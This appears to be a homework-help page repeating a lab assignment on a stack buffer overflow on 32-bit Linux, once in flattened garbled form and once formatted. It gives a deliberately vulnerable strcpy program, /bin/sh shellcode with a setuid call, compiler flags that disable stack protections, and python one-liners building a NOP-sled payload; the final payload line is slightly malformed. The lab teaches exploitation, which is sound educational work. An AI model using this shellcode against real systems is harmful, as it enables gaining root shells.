Develop a buffer overload exploit using a 32bit linux system Create a program with a stack based buffer define CRT SECURE NO WARNINGS include include include using namespace std int main(int argc, char argsv ) char buffer 500 strcpy(buffer, argsv 1 ) printf( s , buffer) return 0 b Copy shellcode to overlay the return address in the stack char shellcode x31 xc0 x31 xdb xb0 x17 xcd x80 xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh c Pass control to your shellcode d Your shellcode should activate a shell bin sh on linux PROCESS gedit lab4 cpp include source from above gcc lab4 cpp g o lab4 Compile and test gdb lab4 use debugger to load and examine code list quit Recompile with options to allow execution in stack gcc z execstack fno stack protector mpreferred stack boundary 2 g lab4 cpp o lab4 chmod x lab4 run $(python c 'print x41 508') x 120x ($esp 120) run $(python c 'print x90 426 x31 xc0 x31 xdb xb0 x17 xcd x80 xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh x51 x51 x51 x51 10') select an address in the sled 0xbfffeeb8 (your address will lily be different) run $(python c 'print x90 427 x31 xc0 x31 xdb xb0 x17 xcd x80 xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh xb8 xee xff xbf 7')

The Answer is in the image, click to view ...

Answered step by step

Verified Expert Solution

Link Copied!

Question

1 Approved Answer

Posted on Aug 20, 2024

Develop a buffer overload exploit using a 32bit linux system. Create a program with a stack based buffer. #define _CRT_SECURE_NO_WARNINGS #include #include #include using namespace

Develop a buffer overload exploit using a 32bit linux system.

Create a program with a stack based buffer.

#define _CRT_SECURE_NO_WARNINGS

#include

using namespace std;

int main(int argc, char* argsv[])

{

char buffer[500];

strcpy(buffer, argsv[1]);

printf("%s", buffer);

return 0;

}

b. Copy shellcode to overlay the return address in the stack

char shellcode[]=

 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

c. Pass control to your shellcode
d. Your shellcode should activate a shell /bin/sh on linux.

PROCESS:

gedit lab4.cpp
1. include source from above.
gcc lab4.cpp g o lab4
1. Compile and test
gdb lab4
1. use debugger to load and examine code
list

quit
Recompile with options to allow execution in stack
1. gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g lab4.cpp -o lab4
2. chmod +x lab4
run $(python -c 'print "\x41" * 508')

x/120x ($esp-120)

run $(python -c 'print "\x90" * 426 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x51\x51\x51\x51" * 10')

select an address in the sled 0xbfffeeb8 (your address will lily be different)

run $(python -c 'print "\x90" * 427 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff + /bin/sh" + "\xb8\xee\xff\xbf" * 7')